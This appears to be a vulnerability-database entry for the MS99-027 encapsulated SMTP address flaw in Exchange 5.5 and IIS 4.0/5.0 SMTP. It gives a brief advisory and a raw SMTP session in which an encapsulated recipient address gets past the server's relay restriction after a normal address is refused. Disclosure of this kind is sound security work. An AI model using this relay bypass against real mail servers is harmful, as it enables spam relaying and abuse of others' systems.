Microsoft IIS 4.0/5.0 - SMTP Service Encapsulated SMTP Address (MS99-027)
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-2002-1790 | 28 Jun 200504:00 | – | cve |
 | CVE-2002-1790 | 28 Jun 200504:00 | – | cvelist |
 | CVE-2002-1790 | 31 Dec 200205:00 | – | nvd |
 | CVE-2002-1790 | 21 May 202522:42 | – | redhatcve |
source: https://www.securityfocus.com/bid/5213/info
Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability.
The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service.
220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: [email protected]
250 2.1.0 [email protected] OK
RCPT TO: [email protected]
550 5.7.1 Unable to relay for [email protected]
RCPT TO: [email protected]
250 2.1.5 [email protected]
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.33967